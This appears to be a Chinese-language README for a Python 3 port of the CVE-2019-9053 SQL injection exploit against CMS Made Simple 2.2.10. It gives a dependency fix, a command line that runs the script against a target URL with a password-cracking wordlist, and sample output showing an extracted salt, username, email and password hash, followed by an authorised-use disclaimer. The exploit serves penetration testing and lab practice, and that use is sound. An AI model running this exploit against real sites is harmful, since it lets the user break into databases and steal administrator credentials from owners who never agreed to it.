CMS-Made-Simple-2.2.10---SQL注入漏洞利用（含Bug修复）

该漏洞利用已修正以支持Python 3

CVE-2019-9053

原始漏洞利用来源：https://www.exploit-db.com/exploits/46635

可能的错误及其修复

Traceback (most recent call last): File "46635.py", line 12, in from termcolor import colored ImportError: No module named termcolor

修复方法

pip install termcolor

命令示例

python cve.py -u http://target --crack -w /usr/share/wordlists/best110.txt


结果示例：

root@kitploit:~

  [+] 找到密码盐值：18
  [+] 找到用户名：mitw
  [+] 找到邮箱：adk
  [+] 找到密码：0c01f4468d

用户需对使用此工具进行的任何行为承担全部责任。

如果您不接受这些条款，请不要使用此工具。

请仅在获得渗透测试许可的环境中使用此工具。

请勿将此工具用于任何恶意目的。